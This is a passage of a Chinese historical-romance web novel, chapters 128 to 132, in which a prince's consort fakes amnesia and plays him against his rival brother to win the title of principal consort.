裴云澈低下头,温柔地望着云清婳,旁敲侧击地问:“蛮蛮,你可记得最近是什么日子?” 她垂下眼睫,双颊泛出粉红色,羞赧道:“是……我与殿下快要成婚的日子呀。” 裴云澈嘴角的笑弧不断加深。 裴墨染的心更痛了。 也就是说,蛮蛮的记忆停留在一年前,她跟裴云澈感情甚笃之时。 而那时,蛮蛮还没有见过他。 “蛮蛮,你失忆了!你已经嫁给我了!”裴墨染忍不住说道。 他想要把云清婳从裴云澈身后抓来。 可才上前几步,云清婳就面色惊恐,吓得抱住了裴云澈的胳膊。 裴云澈伸出另一只手,示意裴墨染留步,“墨染,你吓到蛮蛮了!你明知道蛮蛮不记得你了,你怎可恫吓她?” “我……”裴墨染像是失去了心爱玩具的孩子,只能巴巴地望着她,委屈、难过的情绪在心头碰撞。 “殿下,我真的失忆了吗?”云清婳抬起头,看着裴云澈。 仿佛天下间,她只信任裴云澈一人。 裴墨染的心又疼了。 裴云澈犹豫了下,还是颔首,“对。” “那我真的嫁给肃王了吗?”她又问。 裴云澈的眼神中有些伤感,他颔首。 云清婳像是天塌了,眼泪扑簌簌地落,“殿下,云家是家道中落了吗?我爹被下狱了吗?不然我怎么可能嫁给肃王?” 裴云澈的舌尖都尝到了苦涩。 当初,正是因为云家太过鼎盛,他才不敢娶啊。 裴墨染的心更难受了。 他势单力薄,不受皇上宠爱,也难怪蛮蛮会如此嫌弃。 这的确称得上——下嫁。 “是真的。”裴云澈的声音喑哑。 云清婳的眼泪在眼眶打转,“骗人!我明明还没嫁人,我明明已经绣好了喜服,要嫁给您……都是假的,一定是假的……” 裴云澈心疼地看着她,“蛮蛮,我带你去看大夫好不好?” “嗯。”云清婳牵着他的衣袖,死死不撒手。 裴墨染气得双目冒火,“皇兄,本王会带蛮蛮看大夫,就不牢你挂心了。” “殿下……”云清婳眼眸湿漉漉的望着他,就像是抓住救命稻草。 裴云澈的面色一沉,下定了决心,“墨染,蛮蛮怕你!有本王在,她会好很多。” “你应该不想蛮蛮被吓到吧?” “……”裴墨染想反驳,却无从说起。 最后飞霜来了,她死劝活劝才把云清婳劝上了马车。 回到肃王府,裴墨染召了府医来看病。 所有府医均得出结论,“云侧妃这是脑袋受了撞击,颅内生出瘀血压迫经络,导致失忆了。” 裴墨染暴躁的低吼:“少废话!怎样才能治好?” 府医均束手无策,只开了缓解头痛的药方。 最后裴墨染提剑要砍他们脑袋,府医才吓得说:“王爷,让云侧妃心情愉悦,多带她看看熟悉的人事物,或许能刺激云侧妃恢复记忆。” 这些话说了跟没说有区别吗? 裴墨染的拳头捏得咔咔作响,“要多久云侧妃才能恢复记忆?” “呃……这……” “短则两三个月,长则三年五载,甚至有人一辈子都……” 裴墨染一脚踹翻了桌子,“滚!” 他一声怒吼,回荡在寝殿中。 众人吓得跪地俯首,大气不敢喘。 暖帐中,云清婳吓得浑身哆嗦。 裴云澈连忙捂住她的耳朵,他柔声道:“别怕,我会保护你。” “殿下……”她噙着泪,感动依恋的望着他。 裴云澈的唇角掀起一抹笑。 其实,蛮蛮失忆了也好。 这样,就能把曾经的不愉快忘掉,只记得他的好就够了。 飞霜在旁边悄悄对云清婳竖起了大拇指。 主子的演技真牛啊! 难怪能将两个男人耍得团团转! “皇兄,你该走了!”裴墨染上前,死死盯着裴云澈的手。 他恨不得将裴云澈的手给砍掉! 裴云澈这个伪君子,怎么敢用脏手碰蛮蛮的? 这个下三滥,居然想趁机撬墙角! “蛮蛮,我明日再来看你。”裴云澈心疼的说。 云清婳一脸不舍,她用手背揩去眼泪,委屈的点头,“殿下,慢走。” “嗯。”裴云澈深深的看着她,心中也很不舍。 第128章 裴墨染化身悲伤小狗 裴云澈走后,裴墨染在榻前坐下。 他笨拙地揉了揉脸,想让表情温柔些,别吓到云清婳。 “蛮蛮。”他柔声道。 云清婳满脸都是戒备,清冷道:“肃王殿下,有话就直说吧。” 裴墨染的心像是被匕首捅中,“你唤我什么?” 面对这样冰冷的云清婳,他破防了。 他的眼睛红了一圈,积压了一路的委屈、妒忌彻底爆发。 裴墨染前半生从未被人爱过,从未被人坚定地选择过。 好不容易世上终于有爱他的人,懂他的人,可现在什么都没了! 更讽刺的是,他放在心尖上的姑娘,转眼间依恋上了裴云澈! 可裴云澈什么都没做! “蛮蛮,你别这样好不好?你之前都唤我夫君的!你心中有我,我心中有你!你我两情相悦!”他的眼眶蒙上了一层雾气,声音干涩沙哑。 云清婳白了他一眼,嘲讽地冷笑,“两情相悦?你欺负我失忆,所以糊弄我?我向来喜欢温文尔雅、斯文博学之人,最厌恶武将!我怎会心悦你?” 裴墨染的眼睛更红了,他摇摇头,“不是的,你起初的确不心悦我,可是后来我们……” “够了!”她打断他的话,“听说我是侧妃?” “……”裴墨染心如擂鼓,悔恨、心虚涌上心头。 她咄咄逼人道:“云家嫡女、京城第一贵女怎会为妾?倘若你爱我,为何我不是正妃?” 他的唇瓣颤抖,想要解释,却不知从何说起,“那是因为……” “第二,听说我流过产?你若爱我,为何连我们的孩子都保不住?”她的表情又冷了一分。 裴墨染的唇微微翕动,不知道要说什么。 云清婳慢条斯理,继续道:“第三,你有我们相爱的证据吗?我们可有定情信物?” 他的眼眸一亮,像是看到了最后的希望。 他连忙从贴身太监手中抱来木匣子,他将匣子打开,里面是他送的浅紫色蝴蝶纸鸢。 “蛮蛮,这张纸鸢是你最喜欢的,你看看。”裴墨染献宝似的捧到她的面前。 “呵……”云清婳讥笑起来,“真是滑天下之大稽!” 裴墨染疑惑地看向飞霜。 飞霜苦着脸,无奈道:“王爷,主子出阁前,什么小侯爷、世子、探花郎……送主子纸鸢的青年才俊,都从相府门口排到护城河了。他们送的可都是金丝绣的纸鸢……” 言下之意就是,裴墨染的纸鸢太廉价! 他瞪大了双眼,仔仔细细地瞧着眼前的女子,她的脸上竟看不出一星半点爱意。 甚至,他只看见了厌恶。 他匆匆错开眼,居然不敢看她凉薄的表情,“飞霜,本王送蛮蛮的永结同心符箓取来。” 飞霜欲言又止,还是无奈地从妆奁中取来。 裴墨染接过永结同心符,捧到云清婳面前,“蛮蛮,这枚符箓你可还记得?” 他记得,蛮蛮说过,这是她收到过最好的礼物。 “当然记得!”她道。 裴墨染的脸色稍霁,可嘴角还未上扬,就被打脸了。 云清婳缓缓道:“我及笄那年,宁远侯府的世子也送过一枚一模一样的。” 裴墨染搜肠刮肚,他想要寻找他宠爱云清婳的证据。 可笑的是,什么都找不到! 他一直觉得他疼爱蛮蛮,蛮蛮是世间少有的幸福之人。 可现在他才发现,他有多自以为是,他有多混账! 裴墨染的双眼酸涩,怔怔地望着云清婳,却不敢上前。 云清婳拉上纱绡,躺在榻上小憩。 “王爷,慢慢来,等云侧妃恢复记忆就好了。”贴身太监安慰道。 飞霜长叹了一声,故意往他心上捅刀子,“王爷,其实奴婢方才就想提醒您。主子爱您的时候,你哪怕送她一块石头,她也会视若珍宝。可她如今忘了情意,您送的物件,真的不适合拿出来了。” 裴墨染心口发闷,恨不得呕出一口血来。 无尽的愧意快要将他压垮。 原来,他送的所有东西,蛮蛮早就司空见惯。 只是因为心悦他,她才演出喜欢的样子。 一直以来,他都以为他们是两情相悦,他包涵蛮蛮多一些。 其实,是蛮蛮一直在用爱包容他。 裴墨染递给飞霜一个眼神,随后快步离开。 飞霜掀开床帐,“主子,您真的不记得王爷了?” 云清婳怅然地叹气,“飞霜,我感觉一觉醒来,所有人都变了。” “这是因为您失忆了,您失忆前真的很喜欢王爷,您唤王爷夫君,王爷唤您小名,你们成天腻腻歪歪的。”飞霜打趣道。 窗外,裴墨染听到这里,满意地点点头。 这个飞霜,还算机灵。 “他给你好处了?你这个吃里扒外的。”云清婳起身掐了把飞霜的腰。 飞霜咯咯直笑,“主子,您别掐奴婢啊……” 云清婳正色道:“我不知道我之前如何,现在我只想拨乱反正,迷途知返。肃王一不给我名分,二不为我花心思,怎会是良配?我之前一定是疯了!” “只要主子幸福,奴婢怎么样都好!主子若是不喜欢王爷了,奴婢日后就不提了。”飞霜立即更换阵营。 裴墨染差点又被气吐血。 死飞霜! 根本靠不住啊! “这才是我的好飞霜!”云清婳宠溺地勾勾她的下巴。 裴墨染甩袖离去。 等人走远了,云清婳忍不住扑哧笑了出来。 她忍不住道:“裴墨染的眼泪,方才差点掉出来。” “该的!让他出尔反尔!气死他!”飞霜愤愤不平。 云清婳躺在榻上,双手枕在脑后,“明天我还有大招要放,绝对能气死他!” “只是,咱们这样刺激王爷,真的有用吗?方才也不见王爷有取消婚事的念头啊。”飞霜不由得担心。 “放心吧!他实在太缺爱了,为了挽留我,他会把王妃之位捧到我面前。”她势在必得。 裴墨染娶不娶苏灵音,她根本不在乎。 她在乎的只有王妃之位。 因为这直接关乎她将来的太子妃之位、皇后之位、太后之位! …… 翌日。 裴墨染办差时,浑身被阴霾笼罩,戾气丛生,险些严刑逼供死了好几个朝廷重犯。 他处理完政务便急匆匆回府。 只是,一下马车,他险些没有认出来肃王府。 肃王府张灯结彩,大红灯笼高高挂起,门上贴着红火的双喜字。 家丁正在擦洗牌匾、朱红的大门。 裴墨染的面色陡然阴沉,他大步往门内走去。 何止是大门? 每个院落乃至每棵树上都被贴上了喜字、挂上了红绸花。 甚至还铺好了红地毯。 裴墨染双目冒火,低吼道:“谁干的?!” 他沿着红地毯,一路走到了长信殿。 第129章 裴墨染被虐哭了 殿外,云清婳正拿着一本图册,跟管家絮絮地交代什么。 她边说,边指挥长信殿门口的婢女,“喜字贴歪了,再往左一点!” 裴墨染的心脏像是被紧紧揪住。 蛮蛮怎么可以大操大办,他跟别人的婚礼? 她怎可如此地大方的将自己的丈夫让给别的女人? 她之前不是最在乎王妃之位了吗? 云清婳一扭头,恰好看见了裴墨染。 她含着端庄的笑走来,她屈膝福身,“见过肃王殿下。” “……”裴墨染痛惜地看着她。 云清婳将图册摆在他面前,“管家说,府邸中馈从前都是我在操办。殿下,您跟苏姑娘婚期将近,您看看,酒席规制您喜欢哪一种?” 裴墨染的眸子一瞥,冷簌簌地睨着她。 “敢问婚期定了吗?若是没定,我挑选了几个好日子,只等您来定夺!百子被我已经命绣娘在绣了,顺利的话一个月就能绣出来。”她笑吟吟道。 裴墨染的眼睛又红了,他恶狠狠地瞪着她。 云清婳浑然不觉,她用帕子抹了把脸蛋,“您为何一直看着我?我脸上有脏东西吗?之前大哥成亲,就是我操办的,殿下若是不放心,我就不操办了。” 他一抬手,将图册打掉,他抓住云清婳的腕,就将她往长信殿拽。 经过大门时,裴墨染一把将门上的喜字扯掉,他怒吼:“不许贴了!全撕下来!” 云清婳吓得浑身一抖。 裴墨染将她抵在门上,表情无比痛苦,就像是遭受了重创,“蛮蛮,你别这样对我……” 他修长的手指掐住她的下巴,薄唇不由分说堵住她的唇瓣,凶狠地吻她。 “唔……” 啪—— 一声清脆的巴掌声传来。 裴墨染的脸上印出了一个通红的巴掌印。 云清婳像是被辱,双目垂泪,“肃王殿下!还请您自重!” “自重?”裴墨染轻笑一声,双眸润泽。 他抓着她的双肩,崩溃地怒吼:“我们是夫妻,我们做过世上最亲密的事,你怀过我的孩子,你让我自重?蛮蛮,我们是相爱的!” 云清婳用帕子嫌弃地擦嘴,眼神鄙夷,她反问:“相爱?你用什么爱我?嘴巴吗?” 她的冷静衬托得裴墨染像是一个疯子。 他有千言万语想说,可在她的冷眼旁观中,显得那么苍白无力。 “……”裴墨染从未这般崩溃过,就好像他拥有的一切都被夺走了。 一滴泪,坠落到云清婳的手背。 云清婳嫌弃的用帕子擦掉。 这个举动,灼伤了裴墨染的眼睛。 “王爷,贤王殿下来了。”贴身太监在外面通传。 云清婳的眼神一亮,原本冰冷的眉眼都鲜活、温柔下来。 这是女儿家情窦初开的表现。 裴墨染一眼便看出来了。 蛮蛮居然开始对裴云澈动心了。 “让他进来。”裴墨染不动声色揩去眼角的泪,没好气道。 裴云澈进殿,他笑望着云清婳,“蛮蛮。” “殿下,我还以为您不来了。”云清婳的语气含羞带怯。 “怎会?我答应过你的。”他伸手想要揉揉她的脑袋,可裴墨染啪的一声将他的手打开。 裴墨染低吼:“裴云澈!你还有没有羞耻之心?” 裴云澈素来温和的眸中迸发出寒意。 “别吵了,殿下只是关心我。”云清婳无形中维护着裴云澈。 裴墨染感觉呼吸都疼。 “蛮蛮,我带你去京郊逛逛可好?”裴云澈问。 云清婳颔首。 “裴云澈,你怎么敢的?蛮蛮是本王的妻子,你凭什么带她走?”裴墨染双眼微眯,暴戾的血液躁动起来。 裴云澈不紧不慢道:“府医昨日不是说了吗?让蛮蛮心情愉悦,或许会刺激她恢复记忆。你若不放心,也可以一同前往。” 裴墨染只好答应。 云清婳在心中暗道刺激! 兄弟俩争相跟她约会! 她可以光明正大地玩弄两兄弟? 有意思! …… 京郊。 云清婳跟裴云澈沿着小溪,在前面走着。 而裴墨染抱臂,阴沉着脸,在后面跟着。 没办法,蛮蛮厌恶他,不准他接近。 “殿下上次即兴作出的诗句我还记得……”她背了出来。 裴云澈眸中的情意快要溢出来,他含笑望着云清婳的侧脸,“蛮蛮的诗也很好,我也留下来了。” 二人相视一笑,神魂交合。 虽然二人之间有些距离,但眼神并不清白。 裴墨染恨得不行,拳头捏得咔咔作响。 不就是写诗? 有什么了不起的? 无病呻吟、卖弄风骚,真是恶心! 贴身太监着急地说:“王爷,您不能坐以待毙啊。” “本王又不会作诗!”他咬牙切齿。 趁着云清婳坐在溪边作画时,裴云澈缓缓走近落后的裴墨染。 裴墨染正在笨拙地采花,做花环。 见到此番情景,裴云澈的脸上扬起讥诮的笑,“墨染,你有没有听过一句话?” “你想得到某样东西,你得让它自由,如果它又回到你身边,它才是属于你的。如果它不会回来,你就从未拥有过它。” 裴墨染的手微微颤抖,他冷声道:“蛮蛮是本王明媒正娶的侧妃,是父皇钦定的妻子,她只是失忆了,才忘了本王!裴云澈,你可知耻?” 裴云澈并不生气,他只觉得眼前情绪波动这般大的人无比幼稚。 “墨染,你既然可以变心一次,就能变心第二次,有必要执着于蛮蛮吗?”他拿出兄长的姿态,循循善诱。 “滚!”裴墨染暴怒低吼。 之前跟赵婉宁相恋的五年,全是假的! 那时的他才十七岁,太年轻,根本不懂什么是爱。 赵婉宁对他好,为他挡箭,他便感动不已,许诺与赵婉宁长相厮守。 可赵婉宁从未走进过他的内心,他也没有完全信任赵婉宁。 遇见蛮蛮以后,他才懂得什么是爱。 蛮蛮跟谁在一起都会幸福,因为她是蛮蛮。 可他没有蛮蛮,会不幸福的。 他不能放手。 云清婳被裴墨染的怒吼声吓得身子一颤,手下的笔锋歪了,画错了。 她责怪地瞥了裴墨染一眼。 “……” 裴墨染像是做错事的孩子,无措地垂下眼。 裴云澈立即去帮她补救画作,落笔三两下便哄好了云清婳。 “殿下,我想和离。”云清婳忽然开口。 裴云澈的心脏狂跳,手都抑制不住的颤抖,“为何?” “当初不知为何我嫁给了肃王,但我现在想求您帮帮我。”她紧张的等待他的回复。 裴云澈在心中权衡着利弊。 若是和离,惹怒云丞相不说,蛮蛮再嫁就难了。 而且,他也不便光明正大地再娶兄弟的女人。 这不妥…… 他从怀中拿出白玉牡丹簪子,她递给云清婳,转移话头,“可喜欢?” “喜欢的。”云清婳接过簪子,眼中闪过暗色。 死狗贼! 一点点困难就退缩了。 裴墨染拿着花环正想上前,云清婳摩挲着冰凉的簪子道:“这比花花草草之类的俗物好,不会凋零。” 闻言,裴墨染心头一凉。 他局促地将花环藏到身后。 贴身太监连连叹气。 王爷好可怜啊。 第130章 裴墨染为爱争取 从京郊回来,裴墨染送云清婳回到玄音阁。 他眼含期待,“蛮蛮,今日你有没有想起什么?” 云清婳摇摇头,她劝道:“肃王,这或许就是天意,您不要执着了。” “怎能不执着?就在一天前,我们明明那么相爱。”他上前一步,想要牵她的手。 可她躲闪开了。 裴墨染挤出笑,“蛮蛮,我还送过你一条狗,你喜欢极了,不如我向皇祖母要来?” 云清婳的眼神暗淡,她打断他的话,“肃王,我最讨厌狗了,您若不信,可以问贤王殿下。” 他一噎。 是了,当初提议他送蛮蛮小狗的人是裴云澈。 裴云澈觊觎蛮蛮,怎么可能好心帮他? 前所未有的愧疚跟悔意,排山倒海般地朝他袭来。 “本王难道就没有做对过一件事?”他怅然若失地看向飞霜。 飞霜的嘴张张合合,半晌才道:“其实,您答应扶正主子的那几日,主子很高兴,奴婢从未见过主子那么高兴。” 裴墨染的双眼骤然泛红,他踉踉跄跄地转身离去。 云清婳心烦地拨弄着窗台上的花草。 都到这一步了,裴墨染还不知道该怎么做吗? “肃王殿下留步。”她娇声道。 裴墨染的身躯一僵,他转过身,满含期待地看着她,“蛮蛮。” 云清婳屏退众人,她眼神复杂地望着裴墨染,“肃王殿下,我有一个不情之请。” “你尽管说。”裴墨染道。 就算蛮蛮想要天上的星星,他也会想办法摘下来。 云清婳郑重的福身,“还请肃王殿下放我自由!” 裴墨染的眼眸涣散了一瞬,心口发涩发胀。 “我知道肃王殿下顾忌着云家,不便跟我和离,所以我想假死。我会留下遗书,让云家效忠于您,这样一来,京城少了一个无关紧要的人,天地间却多了一个快乐的女子。”她露出向往的神情。 裴墨染自嘲般的笑了,“离开了我,你要去哪里?与裴云澈长相厮守?” “肃王殿下,其实您与我的情谊未必是真的,或许您的确有几分喜欢我,可只是浅薄的喜欢,等王妃嫁进来,您就忘了。”云清婳劝道。 他扣着她的双臂,声音陡然拔高,“不!我与你的情谊为何不是真的?我爱你,你是这世上我最爱的女人。” 云清婳臊得脸蛋通红,她白了他一眼,“武将都是这般油嘴滑舌吗?我从前恐怕都是被你这张嘴骗了。” 裴墨染语塞。 他向来嘴笨,怎会油嘴滑舌? 用完膳后,裴墨染想要留宿,可看着云清婳冷漠的面孔,他只好灰溜溜的走了。 云清婳捏着芙蓉酥,自顾自地吃着。 “主子,其实王爷真的很疼爱您,这不是假话。”飞霜长长叹了口气。 云清婳噘嘴,“疼爱我?你的意思是,我为他挡刀、小产、坠崖,可疼爱我的男人却一直让我当侧妃?” “他疼爱我,所以我得对他的正妃卑躬屈膝、做小伏低?” “我可是京城第一贵女!我就算二嫁,也有人娶我当主母,我为何要耗在这里?” 飞霜嗤嗤地笑了,“是啊是啊,宁远侯府的小世子现在还等着您呢。” 云清婳也跟着笑起来,她道:“虽然背后说人不对,但是,肃王的爱,是我见过最拿不出手的。” 门外,裴墨染的面色铁青。 他是真的生气了。 蛮蛮的嘴巴可真够毒的。 字字都往他的心窝子上捅。 “王爷……”贴身太监见王爷面色可怖,想要开口劝说。 “进宫!”裴墨染甩袖,箭步流星地往外走。 贴身太监一头雾水地跟在后面。 都快黄昏了,这个时辰进宫作甚? …… 翊坤宫。 皇后满面红光地坐在榻上,端着燕窝粥喝着,“三求三聘,明日应该是第二次了。” 白嬷嬷弓腰,为皇后擦了擦嘴角,“是啊,民间都知道是肃王求娶灵音小姐,而灵音小姐不愿意嫁呢。这下无人敢看轻苏家了。” “呵……”皇后阴恻恻地笑了,“云清婳当真以为是京城第一贵女就可以无法无天了?她蹦得出本宫的手掌心吗?” “娘娘英明,云侧妃太不安分,您待她这么好,她却想抢走灵音小姐的位置!其心可诛!”白嬷嬷应声。 正说着,一个宫女跑进来,“皇后娘娘,肃王来了。” “快让墨染进来,本宫正想跟他说明日送聘礼的事呢。”皇后换上和蔼的表情。 裴墨染脸色阴沉的走到殿中央。 皇后佯装看不见他的阴郁,她笑道:“墨染,快坐!本宫想了下,明日你亲自带人送聘礼去苏家吧?灵音还是有点不想嫁呢,你正好哄哄她。” 扑通—— 裴墨染猝然跪在地上,他的眸色幽深,面容憔悴,“母后,儿臣什么都可以答应您,但肃王妃的位置,儿臣想给蛮蛮。” “你……”皇后有些难以置信。 最听话的儿子,居然又敢忤逆她! 居然还是为了云清婳这个狐狸精! 皇后的手颤了颤,“墨染,你是想逼死母后吗?” 啪—— 她将手中的碗砸在地上,瓷片四溅。 “母后不会左右你的决定,但母后也没胃口了。”皇后目视前方,表情决绝。 白嬷嬷抹着眼泪,“肃王殿下,您是最孝顺的,您忍心看着皇后娘娘茶饭不思吗?” 裴墨染重重叩首,他的心里仍旧含着一丝期盼,“母后,儿臣真的很喜欢蛮蛮,您能不能让儿臣任性一次?您也惯着儿臣一次?” “墨染,你失信于本宫,你还让本宫惯着你?呵……果然啊,不是亲生的,终究不一样。”话一说出口,皇后立即后悔了。 她懊悔地看向裴墨染。 裴墨染的脸色极为难看。 “王爷,皇后娘娘不是这个意思!她是太伤心了,觉得您骗了她!毕竟一边是亲侄女,一边是儿子啊。”白嬷嬷立即劝说。 可裴墨染决绝地起身,他的眼眸被冰霜覆盖,“好,儿臣知道了。” 既然母后如此不顾念母子情,那么日后他做出什么事,都不要怪他了…… 人走后,皇后轻拍了下胸口,她讥诮道:“方才,本宫还真以为惹恼他了。” “不会的,肃王孝顺,最渴望得到您的爱护。”白嬷嬷笑道。 皇后的眼底全是算计,“不枉本宫这么多年来的精心教养。” 一直以来,她都是故意让裴墨染嫉妒裴云澈的。 她给他的爱不多也不少。 让他产生一种只要自己做得更好,更听话,更孝顺就能得到同等母爱的错觉。 …… 天黑了。 裴墨染走在漆黑的长廊中,阴沉着脸,一路沉默。 贴身太监猜到王爷此行不顺,他斗胆道:“王爷,不如去慈宁宫跟太后娘娘说说?太后娘娘很喜欢云侧妃,或许她有主意。” 第131章 蛮蛮装病,被占便宜 “皇祖母年纪大了,本王怎能把她牵扯进来?”他冷声道。 贴身太监不敢再多言。 …… 一连半个月裴墨染都宿在北镇抚司,没有回府。 云清婳在玄音阁闭门不出。 其间,魏娴来看望过一次。 可云清婳装作不认识她,魏娴便很少来了。 毕竟,只有骗过最亲近的人才能骗过其他人。 所以她暂时不准备告诉魏娴真相。 春雨连绵地下了好几日,殿里好像都受潮了。 被褥润润的,盖在身上难受。 飞霜端来糕点,“主子,怎么办?听说上次王爷进宫不顺,莫不是不好意思见您?所以躲起来了?” “王妃之位还是没着落啊,咱们不会白演了吧?” 云清婳笃定地摇摇头,“裴墨染在府衙留宿多日,定是在一场酝酿风暴。” 他在憋大招! “王爷这次密不透风的,咱们也不知道他究竟在盘算什么?”飞霜总感觉心里没底,很不安。 这一次跟以往的每一次都不一样。 因为她们一点风声都收不到。 只能看见苏灵音嫁进王府的日子越来越近了。 云清婳在飞霜耳边说了什么,飞霜立即撑伞小跑了出去。 没一会儿,裴墨染赶回来进了寝殿。 殿中烛火昏暗,没有一丝动静。 飞霜焦急道:“这些日子一直在下雨,主子受凉发了低热,奴婢方才喂了药,主子喝下后就昏昏沉沉,一直在睡。” 裴墨染急忙脱下湿润的外袍,他坐在榻边,从水盆中拧了把帕子给云清婳擦脸,“蛮蛮,蛮蛮……” 云清婳躺在软枕上,脸蛋泛红,头脑昏昏沉沉,眼皮子都睁不开。 方才飞霜喂了她装病的药丸,没成想药效这般重。 “好烫啊,可叫府医看过?”裴墨染摸了下她的脖颈。 飞霜颔首,“看过了,说是没什么大碍。” “唔……”云清婳无意识般呻吟了一声。 裴墨染心疼地揉揉她的脸颊,“蛮蛮,没事的,我在呢。” 他沐浴完毕,便侧躺在榻上拥着她。 云清婳阖着眼,安静的躺在他的臂弯上,没了针锋相对,乖巧的像是一只猫儿。 裴墨染看着她脸颊泛红,像是绽开的桃花,心脏重重跳了跳。 他的喉结上下滚动,俯下身,含着她的唇瓣温柔撬开她的牙关。 云清婳心里嫌弃死了。 狗男人,一回来就知道占她便宜! “唔……”她不满的嘤咛。 这点微不足道的反抗却像是点燃了裴墨染。 他放下床帐,胡作非为。 这些日子真是苦了他了。 蛮蛮整日只会说出剜他心窝子的话,小手也不给碰。 整天一副拒人于千里之外的模样。 云清婳都没想到裴墨染会这么不要脸,她可是“病人”! 最后,云清婳忍无可忍地半睁开眼,迷迷糊糊地问:“唔……肃王,您做什么?” 裴墨染心虚不已,他捂住她的双眼,“蛮蛮,你在做梦。” 云清婳:??? 他怕惊醒她,只能不甘的下榻洗了冷水澡。 第二日醒来时,尽管云清婳身上的衣物一件没少,可布料皱皱巴巴,明眼人一眼就能看出端倪。 她沐浴完毕,才发觉裴墨染没走,他正坐在桌前用膳。 看来,他想要办成的事情,还算顺利。 瞧见了脸蛋白里透红的云清婳,裴墨染的心脏不受控地加速跳动。 想起昨晚的事,他竟有些心虚。 此时,云清婳换上一身烟青色的外袍,黛眉一拧,脸上蕴着薄怒,“您昨晚是不是对我……” “对你怎么样?”他忙不迭打断她的话,“昨晚我照顾了你,你今日才能下榻,你想过河拆桥不成?” 云清婳的小嘴张张合合,有些难以启齿。 裴墨染暗暗吁了一口气。 倘若蛮蛮想明白昨晚发生了什么,一定又会羞愤欲绝,说不定还会扇他脸。 云清婳噘着嘴,端着碗用起了膳,“肃王殿下,我上次的提议,您考虑得怎么样了?” “不怎么样,我不答应。”他早就自己哄好了自己。 现在,无论云清婳说出什么大逆不道的话,他也不会奇怪了。 裴墨染用膳的速度很快,身侧之人才吃了几口,他就放下碗筷。 按照规矩,云清婳也随之停止用膳。 “你接着吃,不必管我。”他将一盘芙蓉糕往她手边推。 云清婳用帕子擦擦嘴,疏离道:“多谢肃王殿下关怀,我胃口小,已经吃饱了。” 他像是听见了笑话,嘁了一声,“你胃口有多大我还不知道?你每次用完膳,还能再吃三盘糕点。” 她的双颊一红,恼羞成怒地瞪他,“我没有!” “你在我面前装什么?我早就说了,我们是相爱的,我知道你是什么样的人。”他贱兮兮地说。 云清婳捻起一块芙蓉糕,狠狠地咬着,以此泄愤。 裴墨染静静的笑看着她,她凶悍的模样就像是发威的奶猫。 不仅没有威慑力,甚至还有点可爱。 “我还知道你马上要生气了。”他朝着她的方向凑近。 云清婳懵懂地眨眨眼,“嗯?” 下一秒,男人的大掌扣上她的后脑勺,他以迅雷不及掩耳之势亲了下她的脸颊。 “你……”云清婳一巴掌正要扇下来,裴墨染身手敏捷地跑了。 裴墨染一脸占了便宜的骄傲模样。 这不值钱的样子,让贴身太监看了都连连摇头。 云清婳嫌弃地用帕子擦脸,“他有病!” 飞霜笑得前仰后合,“王爷现在是真的怕您了!生怕挨巴掌!” 说实话,她真有点享受这种凌驾于裴墨染之上的感觉了。 “怕我有什么用?我要让他亲手将王妃之位送给我。”她的眼神阴冷。 飞霜敛去笑容,低声问:“主子,您打听出来了吗?王爷这段时间在忙什么?王妃之位有没有着落?” 她摇摇头,“但是裴墨染的心情很好,看样子,王妃之位已经十拿九稳了。但是我不能松懈,得接着给他施压。” 思及此,云清婳又派婢女去给裴云澈传了几封信。 这几封信,无疑,全被府中侍卫拦截到了北镇抚司。 裴墨染看了信,脸色像是笼罩着乌云,是暴风雨来临的前奏。 他捏着信纸,指节修长,手背上绿色的青筋鼓起,“真是可恶,枉本王为她花费一番心血!她就是这样回报本王的?” “云侧妃也真是的!就算失忆了,也不能给贤王写情诗啊。”一个副将埋怨。 “这是情诗?”裴墨染的眼中的戾气丛生,凶悍得像是要杀人。 第132章 一群武将献计追妻 “呃……应该是吧?”几个副将面面相觑,然后不约而同地点头。 “您看,这诗里有花,有月,有楼台,多暧昧啊。” 裴墨染的双手捏得咔咔作响,他一脚踹翻了刑具夹。 他怒道:“这个女人究竟有没有良心?得陇望蜀、见异思迁、卸磨杀驴!” 扑哧—— 一个副将笑喷了,“王爷,您怎么把自己比作驴?” 裴墨染气血上涌,五脏六腑绞着疼,他气不过,狠狠踹了副将一脚,“你有病是不是?本王何时把自己比作驴?” 诸葛贤无奈地长叹一声,他面对几个副将道:“这不是情诗,是写景诗。老夫早就让你们多读书了,你们……唉……” 裴墨染的脸色稍霁,可声音像是混了冰碴,阴阳怪气道:“写景诗?真是好样的!这是想跟裴云澈切磋文采,互为知己,神魂交合!” “王爷,您这话过了,此等罪名不可压在女子身上。”诸葛贤拱手。 裴墨染自知失言,他长出了一口气,“裴云澈不就是会吟诗作对吗?有本事让他跟本王比试用兵、切磋武艺!” 一个年纪小的副将忍不住道:“别人姑娘家,才不喜欢切磋武艺、指挥用兵。” 裴墨染差点气得呕出一口血。 这帮绊脚石! 没一个中用的! “王爷,云侧妃失忆了,您万不可坐以待毙啊。”诸葛贤苍老的脸上写满了忧虑。 原本云侧妃是偏向王爷的,倘若她真对裴云澈动了心思,那么王爷最有力的助力就没了! 这可不行! 裴墨染一拳重重砸在盘龙柱上,“本王又不会吟诗作对,现在学也已经晚了!” 诸葛贤鞠了一躬,正色道:“老夫谬见,世间万事万物,都可以用技巧取胜。不如演一出英雄救美!” “对!姑娘家都吃这一套!”副将一脸崇拜地看向诸葛贤。 裴墨染冷嘁,神色鄙夷,“本王不屑于做这种宵小行径!而且蛮蛮胆子小,倘若吓病了如何是好?” “这是王爷当下取胜最快的方法!”诸葛贤捋着胡子,讳莫如深。 几个副将七嘴八舌地劝道:“王爷,不如试试吧!这招一定有用!” “女人在危急关头,才会知道该依靠何人。等云侧妃发现裴云澈手无缚鸡之力,自然就晓得您的好了。” “王爷,不能对云侧妃太过仁慈啊!” 裴墨染的眼神闪动,可最终摇了摇头,“你们根本不知蛮蛮有多聪慧,倘若被她发现,本王……”又要挨巴掌了。 剩下的话,他自然没说出口。 但他已经感觉右脸开始隐隐作痛了。 “唉……”几个副将都替裴墨染着急。 …… 翌日。 裴云澈约云清婳在碧湖泛舟,云清婳晌午后便去赴约。 她跟飞霜走在街上。 一辆富丽堂皇的宝马香车从二人身侧擦肩而过。 风吹起纱帘,露出了车内之人姣好的面容。 身着鹅黄色襦裙的女子,生了一张鹅蛋脸,杏儿一般圆润的双眸,可她的眼底满是算计。 “过几日肃王就要送上第三波聘礼了,三求三聘礼成,小姐就是肃王妃了!奴婢提前恭祝小姐,成为肃王妃!”婢女甜甜地笑着,一脸祝福地看着面前的女子。 苏灵音的眼底晕开了墨色,她森然开口:“云清婳能爬上京城第一贵女的位置,一定是生了七窍玲珑心的,如今她毫无动作,只怕她会在背后阴我。” 